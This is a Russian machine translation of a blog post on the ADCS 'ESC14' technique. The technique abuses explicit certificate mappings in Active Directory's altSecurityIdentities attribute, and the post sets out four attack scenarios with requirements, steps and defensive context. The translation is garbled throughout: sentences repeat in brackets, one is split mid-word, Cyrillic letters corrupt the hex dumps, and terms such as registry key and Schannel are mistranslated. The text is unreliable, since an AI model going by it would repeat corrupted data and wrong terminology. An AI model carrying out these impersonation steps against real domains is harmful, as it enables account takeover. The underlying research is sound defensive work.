Техника злоупотребления ADCS ESC14

[ADMIN]

Атрибут altSecurityIdentitiesкомпьютеров и пользователей Active Directory (AD) позволяет указать явные сопоставления сертификатов . [Атрибут altSecurityIdentities компьютеров и пользователей Active Directory (AD) позволяет указать явные сопоставления сертификатов.] Явное сопоставление сертификатов — это ссылка на сертификат. [Явное сопоставление сертификатов — это ссылка на сертификат.] Любой, у кого сертификат соответствует ссылке в явном сертификате Mappi. [Любой, у кого сертификат соответствует ссылке в явном сертификате Mappi.] ng принципала может использовать этот сертификат для аутентификации в качестве принципала. Таким образом, злоумышленник может злоупотребить доступом для записи к altSecurityIdentitiesатрибуту компьютера или пользователя AD, чтобы добавить явное сопоставление сертификатов со ссылкой на сертификат, находящийся в распоряжении злоумышленника, а затем использовать этот сертификат для аутентификации в качестве указанного компьютера или пользователя.
Этот метод злоупотребления не нов. В 2019 году Жеро де Друас описал, как злоумышленник, скомпрометировавший локальный Exchange, может выполнить атаку на этой странице GitHub: набор свойств Public-Information включает Alt-Security-Identities, позволяет сопоставлять сертификат x509 привилегированным пользователям . Жан Марсо продемонстрировал атаку в блоге Microsoft ADCS — Злоупотребление PKI в среде Active Directory в разделе « Эксплойт ACL на пользовательских объектах (1) ».
Существует несколько типов явного сопоставления сертификатов, что дает нам множество вариантов злоупотреблений с разными требованиями. Злоумышленник, не имеющий доступа на запись, altSecurityIdentitiesможет скомпрометировать принципала с уже заполненным altSecurityIdentitiesатрибутом, если атрибут имеет слабое сопоставление (т. е. основан на повторно используемых идентификаторах), но только если злоумышленник имеет права регистрации в шаблоне сертификата, приспособленном для сопоставления. Конфигурация контроллеров домена (DC) и текущие изменения проверки подлинности на основе сертификатов на контроллерах домена Windows также играют роль, в которой возможны явные варианты неправильного сопоставления сертификатов.
В этом сообщении блога мы рассмотрим варианты злоупотреблений явным сопоставлением сертификатов в AD, каковы требования и способы защиты от этого своей среды.
Продолжая категоризацию методов злоупотребления ADCS, я называю злоупотребление явным сопоставлением сертификатов для метода злоупотребления ADCS ESC14. Страница Жеро де Друа на GitHub — это самая ранняя документация о технике злоупотреблений, которую мне удалось найти, и поэтому Жеро заслуживает полной похвалы за ее открытие. Я беру на себя смелость документировать и классифицировать технику злоупотребления как ESC14, чтобы привлечь внимание к существованию возможности злоупотребления, требованиям и предотвращению.
Если вы новичок в методах злоупотребления ADCS или вам нужно кратко рассказать о том, как работает ADCS, я рекомендую прочитать раздел «История» документа Ли Кристенсена и Уилла Шредера о сертифицированных подержанных автомобилях .

Как работает сопоставление сертификатов?​

Поскольку ESC14 злоупотребляет принципом сопоставления сертификатов, вам необходимо понять сопоставление сертификатов, чтобы понять технику злоупотреблений. Сопоставление сертификатов относится к той части аутентификации сертификата, где контроллер домена берет основные данные (пользователя или компьютера), предоставленные в сертификате, с помощью которого вы проверяете подлинность, и пытается сопоставить их с пользователем или компьютером в AD, где данные совпадают.

Неявное сопоставление сертификатов​

Неявное сопоставление сертификатов является методом по умолчанию. Если вы выполнили любую из атак ADCS ESC1–11, вы злоупотребили неявным сопоставлением сертификатов. Оливер Ляк опубликовал отличный пост в блоге, описывающий, как работает неявное сопоставление сертификатов и как можно злоупотреблять им в ESC9 и ESC10: Certipy 4.0: ESC9 и ESC10, графический интерфейс BloodHound, новые методы аутентификации и запроса — и многое другое! .
Короче говоря, контроллер домена сопоставляет значение компонента расширения альтернативного имени субъекта (SAN) otherNameсертификата с атрибутом (UPN) участников AD, известным как сопоставление UPN , и сопоставляет компонент расширения SAN с атрибутом, называемым сопоставлением DNS . Если сопоставление UPN не удается, в крайнем случае он попытается сопоставить имя пользователя (первую часть ) с атрибутом и имя пользователя, добавленное с помощью «$» к атрибуту. Аналогичным образом, если сопоставление DNS не удалось, он попытается сопоставить имя хоста (первая часть ), добавленное с помощью «$», к атрибуту.userPrincipalNamedNSNamedNSHostNameotherNamesAMAccountNamesAMAccountNamedNSNamesAMAccountName
Сопоставление меняется, когда на контроллере домена применяется строгое сопоставление сертификатов, о чем мы поговорим позже в этом блоге.

Явное сопоставление сертификатов​

В качестве альтернативы неявному сопоставлению вы можете явно определить в атрибуте altSecurityIdentities (Alt-Security-Identities) пользователей и компьютеров, какие сертификаты должны принимать контроллеры домена для аутентификации данного пользователя/компьютера. Атрибут имеет следующее описание Microsoft: « Содержит сопоставления сертификатов X.509 или внешних учетных записей пользователей Kerberos с этим пользователем в целях аутентификации». Более подробное описание от Microsoft есть в документации по атрибутам безопасности пользователя и здесь: KB5014754 — Изменения аутентификации на основе сертификатов на контроллерах домена Windows . В этом сообщении блога мы не будем рассматривать altSecurityIdentitiesподдержку внешнего сопоставления пользователей Kerberos; скорее, мы сосредоточимся на сопоставлении сертификатов X509.
Сопоставления, которые вы можете добавить в атрибут, представляют собой строки, соответствующие определенному синтаксису, с идентификаторами из сертификата:

Идентификаторы сопоставления можно найти в следующих полях сертификата X509 v3:
PS C:\> certutil -dump -v .\cert.pfx
…
Серийный номер: 7b0000014a797ee899f5b8fec700000000014a
…
Издатель:
CN=dumpster-DC01-CA
DC=dumpster
DC=fire
…
Тема:
CN=DC01.dumpster.fire
…
Расширения сертификата: 9
…
2.5.29.14: Флаги = 0, Длина = 16
Идентификатор ключа субъекта
1fb6c98efce349a9585f97bbb74806bc83be3d6b
…
2.5.29.17: Флаги = 0, Длина = 41
Альтернативное имя субъекта
RFC822 Name=[email protected]
…
Cert Hash(sha1): ef9375 785421d3ad286d8bdeb166f0f697266992
…
Атрибуту altSecurityIdentitiesнужны значения IssuerName, SubjectName, или SerialNumberв «прямом» формате, что означает, что вам придется инвертировать значения при их записи. Вы должны сохранить порядок байтов серийного номера, чтобы результат «A1B2C3» был «C3B2A1», а не «3C2B1A».
С идентификаторами приведенного выше примера сертификата сопоставления выглядят следующим образом:

• X509IssuerSubject (поля «Эмитент» и «Субъект»):
  X509:<I>DC=fire,DC=dumpster,CN=dumpster-DC01-CA<S>CN=DC01.dumpster.fire
• X509SubjectOnly (поле «Тема»):
  X509:<S>CN=DC01.dumpster.fire
• X509RFC822 («Имя RFC822» ( rfc822Name компонент)):
  X509:<RFC822>[email protected]
• X509IssuerSerialNumber (поля «Эмитент» и «Серийный номер»):
  X509:<I>DC=fire,DC=dumpster,CN=dumpster-DC01-CA<SR>4a0100000000c7feb8f599e87e794a0100007b
• X509SKI (расширение «Идентификатор ключа субъекта»):
  X509:<SKI>1fb6c98efce349a9585f97bbb74806bc83be3d6b
• X509SHA1PublicKey («Хеш сертификата(sha1)»):
  X509:<SHA1-PUKEY>ef9375785421d3ad286d8bdeb166f0f697266992

Я создал функцию PowerShell для создания строки формата сопоставления X509IssuerSerialNumber на основе эмитента и серийного номера, а также три другие небольшие функции для получения, добавления и удаления altSecurityIdentitiesсопоставлений:

• Get-X509IssuerSerialNumberFormat.ps1
• Get-AltSecIDMapping.ps1
• Add-AltSecIDMapping.ps1
• Remove-AltSecIDMapping.ps1

В ADCS шаблон сертификата определяет, как центр сертификации должен заполнять поле «Субъект» сертификата и расширение SAN на основе атрибутов AD подписчика. Далее давайте выясним требования к шаблону сертификата, который позволяет нам получить сертификат с правильными заполненными полями и который мы можем использовать для явного сопоставления сертификатов.

Флаги шаблона сертификата и поля сертификата​

Если вы измените шаблон сертификата схемы версии 2 или выше в консоли шаблонов сертификатов Windows, вы можете выбрать, какая информация о получателе/субъекте должна быть включена в сертификат на вкладке «Имя субъекта» .

Верхняя опция «Поставка в запросе» включает CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTфлаг сертификата, который позволяет подписчику указать содержимое поля «Тема» и расширение SAN. Один только этот флаг позволяет скомпрометировать любого принципала в лесу AD и задокументирован как ESC1 в официальном документе Certified Pre-Owned .
Значения, выбранные в разделе «Формат имени субъекта», переходят в поле «Субъект» сертификата, а значения в разделе «Включить эту информацию в альтернативное имя субъекта» — в расширение SAN. Вот пример сертификата, созданного с использованием шаблона сертификата, показанного на снимке экрана выше:
PS C:\> certutil -dump -v .\test.pfx
…
Тема:
E=[email protected]
CN=batman
OU=myusers
DC=external
DC=local
…
Расширения сертификата: 11
…
2.5.29.17: Флаги = 0 , Длина = 38
Альтернативное имя субъекта
Другое имя:
Имя участника=[email protected]
Имя RFC822=[email protected]
…
Параметры вкладки «Имя субъекта» шаблона сертификата соответствуют флагам в атрибуте msPKI-Certificate-Name-Flagшаблона сертификата. Флаги, имена которых имеют этот шаблон, CT_FLAG_SUBJECT_REQUIRE_<attribute>предназначены для информации, которая входит в поле «Тема», и для расширения SAN.CT_FLAG_SUBJECT_ALT_REQUIRE_<attribute>
Для большинства флагов сопоставление между флагами и атрибутами AD является простым. Например, опция UPN на снимке экрана выше соответствует флагу SUBJECT_ALT_REQUIRE_UPN, который будет включать UPN в сертификат. Однако есть пара сбивающих с толку флагов. Параметр SPN, соответствующий флагу SUBJECT_ALT_REQUIRE_SPN, не приведет к тому, что сертификат будет содержать servicePrincipalName(SPN) зарегистрированного пользователя, а вместо этого будет содержать UPN; точно так же, как флаг UPN.

К счастью, сопоставление хорошо объяснено в документации по флагам msPKI-Certificate-Name-Flag , а здесь еще более подробно .
Шаблоны сертификатов версии 1 немного другие. У вас меньше параметров в консоли шаблонов сертификатов Windows, и вы не можете их изменить.

Мне не удалось найти документацию о том, как ADCS сопоставляет msPKI-Certificate-Name-Flagфлаги шаблонов версии 1 с атрибутами зарегистрированных пользователей; однако, по результатам тестирования, похоже, что применяются те же правила, что и для шаблонов версии 2.
Нам также необходимо рассмотреть, что происходит, когда шаблон сертификата требует от подписчика заданного атрибута, но у подписчика нет атрибута или атрибут не установлен. Короткий ответ (как всегда): Это зависит. Большинство флагов представляют собой строгие требования (т. е. регистрация не удалась, если атрибут не установлен для зарегистрированного пользователя). Однако есть исключения, как показано в таблице ниже.

Некоторые из флагов не позволяют пользователям/компьютерам по умолчанию регистрироваться в данном шаблоне сертификата, поскольку необходимые атрибуты не установлены по умолчанию:

• mail
  mailПо умолчанию для пользователей и компьютеров не установлены атрибуты.
• dNSHostName
  Класс пользователей AD не включает этот dNSHostNameатрибут, поэтому пользователи не могут регистрироваться в шаблонах сертификатов, требующих dNSHostName; компьютеры получат dNSHostNameнабор атрибутов, когда компьютер присоединен к домену, но атрибут не будет установлен автоматически, когда вы просто создаете объект компьютера в AD.
• cn
  Все объекты AD имеют cnатрибут, установленный по умолчанию.
• userPrincipalName
  UPNУ компьютеров по умолчанию не установлены атрибуты; пользователи делают

Общее замечание относительно вышеуказанных атрибутов заключается в том, что пользователи и компьютеры не могут записывать эти атрибуты на своем объекте, за исключением компьютеров, которые подтвердили запись в свой dNSHostNameатрибут, что означает, что они могут записывать в dNSHostNameатрибут, но контроллер домена проверит, что значение соответствует значению атрибут sAMAccountNameкомпьютера.
Теперь мы понимаем, какие атрибуты подписчика входят в сертификат и как контроллер домена будет сопоставлять эти значения с идентификаторами явного сопоставления сертификатов. В следующих разделах описано, что нам нужно знать для аутентификации с помощью сертификатов.

Аутентификация Kerberos (PKINIT)​

Хотя Microsoft задокументировала, как Центр распространения Kerberos (KDC) попытается сопоставить сертификат с субъектом, здесь: 3.1.5.2.1 Сопоставление сертификатов , в этой документации не очень ясно, какие сопоставления возможны с данным сертификатом. При тестировании с помощью Certify я сделал следующие наблюдения :

• Сопоставление UPN блокирует явное сопоставление.
  Если сертификат содержит otherNameкомпонент в расширении SAN, то KDC попытается выполнить неявное сопоставление UPN, и аутентификация завершится неудачно, если это не удастся; KDC не будет пытаться явно сопоставить в этом случае, но сделает это во всех остальных случаях.
• Сопоставление DNS не блокирует явное сопоставление.
  Вы можете использовать сертификат с dNSNameнабором SAN для неявного сопоставления DNS, но явное сопоставление как для пользователей, так и для компьютеров также работает.
• Сопоставление X509RFC822 (электронная почта) не работает на компьютерах.
  Добавление сопоставления X509RFC822 на компьютер не имеет никакого эффекта; KDC не позволит вам пройти аутентификацию с помощью сертификата, имеющего соответствующий адрес электронной почты, установленный в rfc822Nameкомпоненте под расширением SAN. Однако вы можете зарегистрировать сертификат как компьютер с mailустановленным атрибутом и использовать его для аутентификации пользователя с помощью сопоставления X509RFC822.
• Сопоставление X509SubjectOnly и X509IssuerSubject блокируется по электронной почте в поле «Тема».
  Если шаблон сертификата имеет значение CT_FLAG_SUBJECT_REQUIRE_EMAIL, так что центр сертификации добавляет mailзначение атрибута в поле «Субъект» сертификата, невозможно выполнить явное сопоставление X509SubjectOnly и X509IssuerSubject.
• Полное DN нельзя использовать в сопоставлениях X509SubjectOnly и X509IssuerSubject.
  Вы не можете использовать в сопоставлениях X509SubjectOnly и X509IssuerSubject, поэтому шаблон сертификата не может иметь флаг для этих сопоставлений. distinguishedNameSUBJECT_REQUIRE_DIRECTORY_PATH

Из первого наблюдения есть исключение. Вы можете отключить сопоставление UPN на контроллере домена, установив UseSubjectAltNameзначение ключа регистрации KDC равным 0, что заставляет KDC пытаться явно сопоставить, даже если в сети SAN есть otherNameкомпонент, содержащий UPN. Эта конфигурация на самом деле рекомендована CISA на этой странице здесь: АНБ и красные и синие команды CISA делятся десятью наиболее распространенными неправильными конфигурациями кибербезопасности . Примечание: этот параметр блокирует злоупотребление сопоставлением UPN ESC9 и ESC10; однако сопоставление DNS все еще работает, поэтому использование сопоставления DNS для ESC9 и ESC10 все еще возможно.
Сильное сопоставление
Microsoft обновила принцип работы сопоставления в 2022 году из-за нескольких недостатков, выявленных в сопоставлении сертификатов. Microsoft описала изменения здесь: KB5014754 — изменения проверки подлинности на основе сертификатов на контроллерах домена Windows .
Они добавили SID участника в качестве нового расширения сертификата:
PS C:\> certutil -dump -v .\cert.pfx
…
Расширения сертификата: 9
…
1.3.6.1.4.1.311.25.2: Флаги = 0, Длина = 42

0000 30 40 a0 3e 06 0a 2b 06 01 04 01 82 37 19 02 01 0@.>..+.....7...
0010 a0 30 04 2e 53 2d 31 2d 35 2d 32 31 2d 33 37 30 .0.. S-1-5-21- 370
0020 32 35 33 35 32 32 32 2д 33 38 32 32 36 37 38 37 2535222-38226787
0030 37 35 2д 32 30 39 30 31 31 39 35 37 36 2д 31 31 75-2090119576-11
0040 32 30 20
0000: 30 40 ; ПОСЛЕДОВАТЕЛЬНОСТЬ (40 байт)
0002: a0 3e ; НЕОБЯЗАТЕЛЬНО[0] (3e байта)
0004: 06 0a ; OBJECT_ID (байт)
0006: | 2б 06 01 04 01 82 37 19 02 01
| ; 1.3.6.1.4.1.311.25.2.1
0010: а0 30 ; НЕОБЯЗАТЕЛЬНО[0] (30 байт)
0012: 04 2e ; OCTET_STRING (2e байта)
0014: 53 2d 31 2d 35 2d 32 31 2d 33 37 30 32 35 33 35 ; S-1-5-21-3702535
0024: 32 32 32 2д 33 38 32 32 36 37 38 37 37 35 2д 32 ; 222-3822678775-2
0034: 30 39 30 31 31 39 35 37 36 2д 31 31 32 30 ; 090119576-1120
…
Контроллер домена использует этот SID при строгом неявном сопоставлении сертификатов вместо слабого сопоставления UPN и DNS, чтобы гарантировать, что подписчик может пройти аутентификацию только под своим именем.
Для явного сопоставления обновление означало, что сопоставления получили метку типа слабый/сильный, как вы можете видеть в таблице, в которой перечислены поддерживаемые явные сопоставления. Надежные содержат идентификаторы, которые нельзя использовать повторно. Например, mailатрибут не является уникальным защищенным атрибутом, поэтому для него можно установить mailзначение другого пользователя. С другой стороны, серийный номер сертификата уникален для данного центра сертификации.

Чтобы обеспечить строгое сопоставление контролируемым образом, Microsoft представила новое значение ключа регистрации KDC с именем StrongCertificateBindingEnforcement, которое может иметь следующие значения:

Отключенный режим был прекращен, поэтому значение ключа регистрации «0» теперь интерпретируется как «1». Первоначально дата введения режима полного соблюдения была назначена на 19 мая 2023 года.
Для поддержки режима совместимости Microsoft ввела флаг CT_FLAG_NO_SECURITY_EXTENSIONдля msPKI-Enrollment-Flagатрибута шаблонов сертификатов. Если он присутствует, центр сертификации не будет включать SID участника при выдаче сертификатов.
Обратите внимание, что параметры реестра применяются только к тому хосту, на котором вы их настраиваете. Таким образом, контроллеры домена в одном и том же домене AD (или лесу) могут иметь совершенно разные конфигурации, некоторые из UseSubjectAltNameкоторых StrongCertificateBindingEnforcementдопускают слабое сопоставление сертификатов, а другие — нет.

Аутентификация S-канала​

У Schannel есть собственный способ сопоставления сертификатов. Его можно настроить на контроллерах домена с помощью значения ключа регистрации Schannel CertificateMappingMethodsс именем и следующими параметрами флагов:

Я провел некоторое тестирование с Certipy , чтобы выяснить, какие сопоставления включают флаги. Вот что я нашел:

• Явные сопоставления настроены в altSecurityIdentitiesработе, если включен S4U2Self (0x000000008), что на удивление не работает с S4U2Self Explicit.
• Явные сопоставления, настроенные в системе, altSecurityIdentitiesне работают, если SAN сертификата содержит otherName(UPN) или dNSNameкомпонент, а ключ регистрации KDC UseSubjectAltNameне оказывает никакого влияния.
• Слабые явные сопоставления, настроенные в altSecurityIdentitiesSchannel S4U2Self, не работают, если для KDC установлено StrongCertificateBindingEnforcementзначение 2 (строгое принудительное применение).
• Субъект/эмитент (0x000000001) включает сопоставление X509IssuerSubject, настроенное вaltSecurityIdentities

Я не понял, как можно использовать запись Issuer и запись S4U2Self Explicit, но я внимательно слушаю, если кто-нибудь знает больше о явном сопоставлении через Schannel.

ESC14 Сценарии злоупотреблений​

Наш базовый сценарий заключается в том, что злоумышленник скомпрометировал принципала-жертву (пользователя или компьютер) до такой степени, что позволяет злоумышленнику зарегистрировать сертификаты в качестве жертвы (например, у злоумышленника есть сеанс в качестве жертвы), и злоумышленник хочет скомпрометировать целевой принципал. . В этом разделе мы объясним различные сценарии, в которых злоумышленник может злоупотребить жертвой, чтобы скомпрометировать цель, используя явное сопоставление сертификатов.
Многие параметры и настройки влияют на возможность явного сопоставления сертификатов, как мы рассмотрели в предыдущих разделах. Мы можем разделить возможности злоупотреблений на следующие сценарии:

• ESC14 Сценарий A: запись altSecurityIdentities на цель.
  Злоумышленник имеет доступ на записьaltSecurityIdentitiesна цель. Злоумышленник может зарегистрировать сертификат в качестве субъекта-жертвы и добавить явное сопоставление сертификата со ссылкой на этот сертификат в атрибутaltSecurityIdentitiesцели. Затем злоумышленник может использовать сертификат для аутентификации в качестве цели.
• Сценарий B ESC14: Цель с X509RFC822 (электронная почта)
  Цель имеет слабое явное сопоставление X509RFC822 в файлахaltSecurityIdentities. Злоумышленник может установитьmailатрибут субъекта-жертвы в соответствии с сопоставлением цели X509RFC822. Затем злоумышленник может зарегистрировать сертификат в качестве жертвы и использовать этот сертификат для аутентификации в качестве цели.
• Сценарий C ESC14: Цель с X509IssuerSubject
  Цель имеет слабое явное сопоставление X509IssuerSubject вaltSecurityIdentities. Злоумышленник может установитьcnилиdNSHostNameдля субъекта-жертвы, чтобы он соответствовал субъекту сопоставления X509IssuerSubject цели. Затем злоумышленник может зарегистрировать сертификат в качестве жертвы и использовать этот сертификат для аутентификации в качестве цели.
• ESC14 Сценарий D: Цель с X509SubjectOnly
  Цель имеет слабое явное сопоставление X509SubjectOnly вaltSecurityIdentities. Злоумышленник может установить cn илиdNSHostNameатрибут субъекта-жертвы так, чтобы он соответствовал субъекту сопоставления X509SubjectOnly цели. Затем злоумышленник может зарегистрировать сертификат в качестве жертвы и использовать этот сертификат для аутентификации в качестве цели.

Для всех сценариев требуется шаблон сертификата, отвечающий следующим требованиям:

• Шаблон сертификата предоставляет права регистрации принципалу-жертве.
• Шаблон сертификата не содержит требований к выдаче, которым не может соответствовать принципал-жертва.
• Шаблон сертификата определяет EKU, которые обеспечивают аутентификацию клиента.
• Если шаблон сертификата имеет CT_FLAG_SUBJECT_ALT_REQUIRE_UPNили CT_FLAG_SUBJECT_ALT_REQUIRE_SPNв своем msPKI-Certificate-Name-Flagатрибуте:
  - Значение ключа регистрации KDC UseSubjectAltNameдолжно быть установлено на «0».
  - Аутентификация может выполняться только через PKINIT.
• Если шаблон сертификата имеет CT_FLAG_SUBJECT_ALT_REQUIRE_DNSили CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNSв своем msPKI-Certificate-Name-Flagатрибуте:
  - Принципал-жертва должен быть компьютером
  - Аутентификация может выполняться только через PKINIT.
• Если шаблон сертификата имеет CT_FLAG_SUBJECT_ALT_REQUIRE_EMAILили присутствует CT_FLAG_SUBJECT_REQUIRE_EMAILв своем msPKI-Certificate-Name-Flagатрибуте, то должно быть выполнено хотя бы одно из этих требований:
  - Шаблон сертификата имеет версию схемы 1
  - У субъекта-жертвы установлен свой mailатрибут
  - Злоумышленник имеет доступ на запись к mailатрибуту жертвы

Кроме того, мы предполагаем, что принципал имеет Enrollразрешение на использование корпоративного центра сертификации, отвечающее следующим требованиям:

• Центр сертификации предприятия доверен для аутентификации NT.
• Цепочка сертификатов ЦС предприятия является доверенной.
• Центр сертификации предприятия опубликовал шаблон сертификата.

Подробную информацию о требованиях, описанных на языке высокого уровня, можно найти в официальном документе «Сертифицированные бывшие в употреблении» или в блоге «Пути атак ADCS» в BloodHound — Часть 1 .

В следующих разделах будут изложены конкретные требования для каждого из сценариев ESC14 AD. Вот обзор:

Вы можете скачать приведенную выше таблицу в виде листа Excel здесь: ESC14-Table.xlsx (обещаю, никаких забавных макросов).

ESC14 Сценарий A: запись altSecurityIdentities в цель​

Злоумышленник может злоупотребить принципалом-жертвой, чтобы скомпрометировать целевой принципал, если соблюдены следующие требования.
Целевые основные требования
Злоумышленник имеет доступ на запись к атрибуту цели altSecurityIdentitiesили разрешение на его предоставление в виде одного из следующих разрешений на целевой объект AD:
- Свойство записи altSecurityIdentities
- Свойство записи Public-Information
- Свойство записи (все)
- WriteDACL
- WriteOwner*
- GenericWrite
- GenericAll
- Владелец*
*Предполагается, что целью не является компьютер или блокировка неявных прав владельца не настроена.
Требования аутентификации
Выполнены требования для одного из двух протоколов аутентификации:
ПКИНИТ:

• Нет требований

Сканал:

• Ключ регистрации Schannel контроллера домена CertificateMappingMethods содержит флаг S4U2Self (0x000000008) (по умолчанию).

Этапы атаки
Злоумышленник может выполнить атаку, выполнив следующие действия:

1. Зарегистрируйте сертификат в затронутом шаблоне сертификата в качестве субъекта-жертвы.
2. Добавьте (сильное) явное сопоставление сертификатов на основе сертификата в altSecurityIdentitiesатрибуте целевого участника.
3. Аутентификация в качестве целевого участника с помощью сертификата

Может показаться, что требований слишком много, но большинство из них выполняются по умолчанию. Шаблон сертификата «Компьютер» (Машина) по умолчанию соответствует требованиям и предоставляет Enrollразрешения группе «Компьютеры домена» . Таким образом, если злоумышленник имеет доступ на запись к атрибуту целевого принципала, он, скорее всего , altSecurityIdentitiesможет скомпрометировать цель посредством атаки ESC14 по сценарию A. Атака сработает даже в том случае, если среда обеспечивает строгое сопоставление сертификатов. Злоумышленник должен иметь возможность зарегистрировать сертификат в качестве компьютера, что требует от злоумышленника сеанса администратора на компьютере или наличия учетных данных учетной записи компьютера. Злоумышленник потенциально может получить этот контроль над компьютером, добавив компьютер в домен, что любому пользователю AD разрешено сделать 10 раз по умолчанию (см. Ограничение по умолчанию на количество рабочих станций, которые пользователь может присоединиться к домену ).

Сценарий B ESC14: цель с X509RFC822 (электронная почта)​

Злоумышленник может злоупотребить принципалом-жертвой, чтобы скомпрометировать целевой принципал, если соблюдены следующие требования.
Целевые основные требования

• Целевой субъект — пользователь
• Атрибут целевого субъекта altSecurityIdentitiesсодержит по крайней мере одно сопоставление X509RFC822.

Основные требования к жертве

• Злоумышленник имеет доступ на запись к mailатрибуту принципала-жертвы.

Дополнительные требования к шаблону сертификата

• Шаблон сертификата имеет CT_FLAG_NO_SECURITY_EXTENSIONфлаг в своем msPKI-Enrollment-Flagатрибуте (отсутствует по умолчанию).
• Шаблон сертификата имеет CT_FLAG_SUBJECT_ALT_REQUIRE_EMAILфлаг в своем msPKI-Certificate-Name-Flagатрибуте

Требования аутентификации
Выполнены требования для одного из двух протоколов аутентификации:
ПКИНИТ:

• Ключ регистрации DC KDC StrongCertificateBindingEnforcementустановлен на 0/1 (режим совместимости — по умолчанию до 11 февраля 2025 г.)

Сканал (оба):

• Ключ регистрации Schannel DC CertificateMappingMethodsсодержит флаг S4U2Self (0x000000008) (по умолчанию).
• Ключ регистрации DC KDC StrongCertificateBindingEnforcementустановлен на 0/1 (режим совместимости — по умолчанию до 11 февраля 2025 г.)

Этапы атаки
Злоумышленник может выполнить атаку, выполнив следующие действия:

1. Установите mailатрибут субъекта-жертвы на адрес электронной почты целевого сопоставления X509RFC822.
2. Зарегистрируйте сертификат в затронутом шаблоне сертификата в качестве субъекта-жертвы.
3. Используйте сертификат для аутентификации в качестве целевого участника.

Сценарий C ESC14: цель с X509IssuerSubject​

Злоумышленник может злоупотребить принципалом-жертвой, чтобы скомпрометировать целевой принципал, если соблюдены следующие требования.
Целевые основные требования

• Атрибут целевого субъекта altSecurityIdentitiesсодержит по крайней мере одно сопоставление X509IssuerSubject.

Основные требования к жертве

• Если субъект-жертва является пользователем:
  - Злоумышленник имеет доступ на запись к атрибутам cnи nameсубъекта-жертвы (для изменения cnвам также необходим доступ на запись к nameатрибуту)
  - Если целевой принципал является пользователем и сопоставление X509IssuerSubject имеет целевой объект текущее cnзначение атрибута в качестве идентификатора, то жертва и целевой принципал не могут находиться в одном контейнере (DC не позволит вам установить жертву cnна cnцелевую, если они находятся в одном контейнере, поскольку это будет означать, что они будут имеют те же distinguishedName)
• Если принципалом-жертвой является компьютер:
  - Злоумышленник имеет доступ на запись к dNSHostNameатрибуту принципала-жертвы.

Дополнительные требования к шаблону сертификата

• В шаблоне сертификата есть CT_FLAG_NO_SECURITY_EXTENSIONэтот флаг msPKI-Enrollment-Flag attribute(по умолчанию отсутствует).
• msPKI-Certificate-Name-FlagШаблон сертификата имеет в своем атрибуте один из флагов :
  - CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
  -CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
• Шаблон сертификата не имеет ни одного из флагов в своем msPKI-Certificate-Name-Flagатрибуте:
  - CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
  -CT_FLAG_SUBJECT_REQUIRE_EMAIL

Дополнительные требования к корпоративному ЦС

• Центр сертификации предприятия — это эмитент, на который ссылается элемент IssuerNameв сопоставлении X509IssuerSubject цели.

Требования аутентификации
Выполнены требования для одного из двух протоколов аутентификации:
ПКИНИТ:

• Ключ регистрации DC KDC StrongCertificateBindingEnforcementустановлен на 0/1 (режим совместимости — по умолчанию до 11 февраля 2025 г.)

Сканал:

• Либо:
  - Ключ регистрации Schannel DC CertificateMappingMethodsсодержит флаг S4U2Self (0x000000008) (по умолчанию)
  - Ключ регистрации DC KDC StrongCertificateBindingEnforcementустановлен на 0/1 (режим совместимости — по умолчанию до 11 февраля 2025 г.)
• Или:
  - Ключ регистрации Schannel DC CertificateMappingMethodsсодержит флаг субъекта/эмитента (0x000000001) (не по умолчанию).

Этапы атаки
Злоумышленник может выполнить атаку, выполнив следующие действия:

1. Если субъект-жертва является пользователем:
   переименуйте принципала-жертву (т. е. установите cnатрибут и name) в имя SubjectNameидентификатора сопоставления X509IssuerSubject цели.
2. Если субъект-жертва является компьютером:
   задайте для принципала-жертвы имя идентификатора dNSHostNameсопоставления X509IssuerSubject цели.SubjectName
3. Зарегистрируйте сертификат в затронутом шаблоне сертификата в качестве субъекта-жертвы, используя центр сертификации предприятия, указанный в сопоставлении X509IssuerSubject.
4. Аутентификация в качестве целевого участника с помощью сертификата

Сценарий D ESC14: цель с X509SubjectOnly​

Злоумышленник может злоупотребить принципалом-жертвой, чтобы скомпрометировать целевой принципал, если соблюдены следующие требования.
Целевые основные требования

• Атрибут целевого субъекта altSecurityIdentitiesсодержит по крайней мере одно сопоставление X509SubjectOnly.

Основные требования к жертве

• Если принципалом-жертвой является пользователь:
  - Злоумышленник имеет доступ на запись к атрибутам cnи nameпринципала-жертвы (чтобы изменить cnвам также необходим доступ на запись к nameатрибуту)
  - Если целевой принципал является пользователем и отображение X509SubjectOnly имеет целевой объект текущее cnзначение атрибута в качестве идентификатора, то жертва и целевой принципал не могут находиться в одном контейнере (DC не позволит вам установить жертву cnна cnцелевую, если они находятся в одном контейнере, поскольку это будет означать, что они будут имеют те же distinguishedName)
• Если принципалом-жертвой является компьютер:
  - Злоумышленник имеет доступ на запись к dNSHostNameатрибуту принципала-жертвы.

Дополнительные требования к шаблону сертификата

• В шаблоне сертификата есть CT_FLAG_NO_SECURITY_EXTENSIONэтот флаг msPKI-Enrollment-Flag attribute(по умолчанию отсутствует).
• msPKI-Certificate-Name-FlagШаблон сертификата имеет в своем атрибуте один из флагов :
  - CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME
  -CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN
• Шаблон сертификата не имеет ни одного из флагов в своем msPKI-Certificate-Name-Flagатрибуте:
  - CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
  -CT_FLAG_SUBJECT_REQUIRE_EMAIL

Требования аутентификации
Выполнены требования для одного из двух протоколов аутентификации:
ПКИНИТ:

• Ключ регистрации DC KDC StrongCertificateBindingEnforcementустановлен на 0/1 (режим совместимости — по умолчанию до 11 февраля 2025 г.)

Сканал (оба):

• Ключ регистрации Schannel DC CertificateMappingMethodsсодержит флаг S4U2Self (0x000000008) (по умолчанию).
• Ключ регистрации DC KDC StrongCertificateBindingEnforcementустановлен на 0/1 (режим совместимости — по умолчанию до 11 февраля 2025 г.)

Этапы атаки
Злоумышленник может выполнить атаку, выполнив следующие действия:

1. Если субъект-жертва является пользователем:
   - Переименуйте принципала-жертву (т. е. установите cnатрибут и name) в имя SubjectNameидентификатора сопоставления X509SubjectOnly цели.
2. Если субъект-жертва является компьютером:
   установите dNSHostNameатрибут принципала-жертвы на имя целевого SubjectNameидентификатора сопоставления X509SubjectOnly.
3. Зарегистрируйте сертификат в затронутом шаблоне сертификата в качестве субъекта-жертвы.
